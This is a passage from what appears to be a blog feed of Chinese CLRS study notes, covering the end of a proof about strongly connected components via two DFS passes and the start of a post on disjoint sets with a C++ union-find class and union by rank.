mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li></ol></li></ol><p>综上，第一次 DFS 遍历时，有边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u,v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 通向 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的情况下，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>&gt;</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(C_1) &gt; f(C_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。（晚指向早）</p><p>那么接下来证明转置后是早指向晚：</p><ol start="3"><li><p>图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 中有两个不同的 SCC <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>∈</mo><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">u \in C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mo>∈</mo><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">v \in C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，存在边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><msup><mi>E</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">(u, v) \in E^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>&lt;</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(C_1) &lt; f(C_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><msup><mi>E</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">(u, v) \in E^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，那么存在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">(v, u) \in E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span>，根据上面的结论,，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>&gt;</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(C_2) &gt; f(C_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li></ol><p>所以，在转置后变成了早指向晚。</p><p>为了获取 SCC，只需要在第二次 DFS 时，从最晚的节点开始 <code>dfsVisit</code>，则其所在的 SCC 的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>C</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(C)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span></span></span></span> 是最晚的，又因为早指向晚，所以无法从该节点访问到其他更早的 SCC（更晚的已经被访问过了），只能在这个 SCC 呢。</p><blockquote><p>其实就是按拓扑排序的次序。</p></blockquote>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/04/21/CLRS/basic-graph-algorithms/</id>
    <link href="https://blog.z0z0r4.top/2026/04/21/CLRS/basic-graph-algorithms/"/>
    <published>2026-04-21T05:18:14.000Z</published>
    <summary>
      <![CDATA[<p>这里记录 CLRS 中的基本图算法笔记。</p>]]>
    </summary>
    <title>CLRS Basic Graph Algorithms</title>
    <updated>2026-04-25T11:11:47.781Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CLRS/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/tags/CLRS/"/>
    <content>
      <![CDATA[<p>这里记录 CLRS 中的 Disjoint Set（并查集）笔记。</p><span id="more"></span><p>我想并查集的名字来源于它的 <code>union</code> 和 <code>find</code> 操作，即合并和查找。</p><h2 id="基础实现"><a class="markdownIt-Anchor" href="#基础实现"></a> 基础实现</h2><p>以下实现并没有用链表而是用的数组。</p><blockquote><p>TLDR;</p><p>数组中的索引表示元素，数组中的值为 <code>-1</code> 时表示该元素未被添加，为非负数且不等于自身索引时指向父节点的索引，如果等于自身索引则已为根节点。</p></blockquote><p>索引 <code>i</code> 的值情况：</p><ul><li><code>-1</code>：未被添加</li><li><code>i</code>：根节点</li><li>其他：指向父节点的索引</li></ul><blockquote><p>以下实现中，<code>connect</code> 对应 CLRS 中的 <code>union</code>。（因为 <code>union</code> 是保留字）</p></blockquote><ul><li><code>make_set(i)</code>：将索引 <code>i</code> 的值设置为 <code>i</code>（新建独立集合，只有一个元素 <code>i</code>）</li><li><code>find_set(i)</code>：递归/循环查找索引 <code>i</code> 的父节点直到根节点</li><li><code>connect(a, b)</code>：<code>a</code> 和 <code>b</code> 分别两次 <code>find_set</code> ，将其中一个集合的根节点的值修改为另一个集合的根节点的（若相同自然不用修改）</li><li><code>isconnected(a, b)</code>：同理，<code>a</code> 和 <code>b</code> 分别两次 <code>find_set</code> 然后比较根节点是否相同</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">NaiveDisjointSet</span></span><br><span class="line">&#123;</span><br><span class="line">    vector&lt;<span class="type">int</span>&gt; data;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">NaiveDisjointSet</span>(<span class="type">int</span> n) : <span class="built_in">data</span>(n, <span class="number">-1</span>) &#123;&#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">make_set</span><span class="params">(<span class="type">int</span> i)</span> </span>&#123; data[i] = i; &#125;</span><br><span class="line">    <span class="function"><span class="type">int</span> <span class="title">find_set</span><span class="params">(<span class="type">int</span> i)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">while</span> (i != data[i])</span><br><span class="line">            i = data[i];</span><br><span class="line">        <span class="keyword">return</span> i;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">connect</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="type">int</span> rootA = <span class="built_in">find_set</span>(a);</span><br><span class="line">        <span class="type">int</span> rootB = <span class="built_in">find_set</span>(b);</span><br><span class="line">        <span class="keyword">if</span> (rootA != rootB)</span><br><span class="line">            data[rootB] = rootA;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">bool</span> <span class="title">isconnected</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">find_set</span>(a) == <span class="built_in">find_set</span>(b);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h2 id="按秩合并"><a class="markdownIt-Anchor" href="#按秩合并"></a> 按秩合并</h2><p>树的高度决定每次 <code>find_set</code> 的耗时，<code>connect</code> 时当前总是 <code>data[rootB] = rootA;</code>，这样容易产生单链。可以通过记录树的高度（或秩）来优化 <code>connect</code>，每次将较矮的树连接到较高的树上，这样可以保证树的高度不会过大。</p><p>书上有 Union by Rank，这里的 Rank 指的是高度的上界，并不是精确值。（因为接下来的路径压缩不会实时更新 Rank，而路径压缩当然越压高度越低）</p><p>按照按秩合并，只有当两棵树的高度相同时，新的树的高度才会 +1，以及每次高度增加时，树中的节点都会翻倍。</p><p>考虑最坏情况，构造一棵包含所有元素的树，每次 <code>connect</code> 都是两颗高度相同的树，其高度最高会为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">log N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span>。</p><blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">h = 1, n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span> -&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>=</mo><mn>2</mn><mo separator="true">,</mo><mi>n</mi><mi mathvariant="normal">/</mi><mn>2</mn></mrow><annotation encoding="application/x-tex">h = 2, n/2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mord">/2</span></span></span></span> -&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>=</mo><mn>3</mn><mo separator="true">,</mo><mi>n</mi><mi mathvariant="normal">/</mi><mn>4</mn></mrow><annotation encoding="application/x-tex">h = 3, n/4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mord">/4</span></span></span></span> -&gt; … -&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>=</mo><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi><mo separator="true">,</mo><mi>n</mi><mi mathvariant="normal">/</mi><msup><mn>2</mn><mrow><mi>l</mi><mi>o</mi><mi>g</mi><mi>N</mi></mrow></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">h = log N, n/2^{log N} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p></blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>1</mn></msub><mo>=</mo><msub><mi>h</mi><mn>2</mn></msub><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">h_1 = h_2 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span 